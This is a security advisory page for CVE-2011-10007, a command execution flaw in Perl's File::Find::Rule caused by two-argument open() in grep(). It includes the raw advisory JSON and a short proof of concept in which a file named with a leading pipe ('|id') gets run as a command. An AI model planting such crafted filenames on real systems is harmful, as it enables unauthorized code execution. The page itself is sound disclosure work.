ghsa-cvg9-q978-4569
Vulnerability from github
Published
2025-06-05 12:31
Modified
2025-06-06 06:30
Severity ?
VLAI Severity ?
Details
File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when grep() encounters a crafted filename.
A file handle is opened with the 2 argument form of open() allowing an attacker controlled filename to provide the MODE parameter to open(), turning the filename into a command to be executed.
Example:
$ mkdir /tmp/poc; echo > "/tmp/poc/|id" $ perl -MFile::Find::Rule \ -E 'File::Find::Rule->grep("foo")->in("/tmp/poc")' uid=1000(user) gid=1000(user) groups=1000(user),100(users)
{
"affected": [],
"aliases": [
"CVE-2011-10007"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-05T12:15:22Z",
"severity": "HIGH"
},
"details": "File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when `grep()` encounters a crafted filename.\n\nA file handle is opened with the 2 argument form of `open()` allowing an attacker controlled filename to provide the MODE parameter to `open()`, turning the filename into a command to be executed.\n\nExample:\n\n$ mkdir /tmp/poc; echo \u003e \"/tmp/poc/|id\"\n$ perl -MFile::Find::Rule \\\n\u00a0 \u00a0 -E \u0027File::Find::Rule-\u003egrep(\"foo\")-\u003ein(\"/tmp/poc\")\u0027\nuid=1000(user) gid=1000(user) groups=1000(user),100(users)",
"id": "GHSA-cvg9-q978-4569",
"modified": "2025-06-06T06:30:25Z",
"published": "2025-06-05T12:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-10007"
},
{
"type": "WEB",
"url": "https://github.com/richardc/perl-file-find-rule/pull/4"
},
{
"type": "WEB",
"url": "https://github.com/richardc/perl-file-find-rule/commit/df58128bcee4c1da78c34d7f3fe1357e575ad56f.patch"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/06/msg00006.html"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/RCLAMP/File-Find-Rule-0.34/source/lib/File/Find/Rule.pm#L423"
},
{
"type": "WEB",
"url": "https://rt.cpan.org/Public/Bug/Display.html?id=64504"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/06/05/4"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/06/06/1"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/06/06/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.
Loading…
Loading…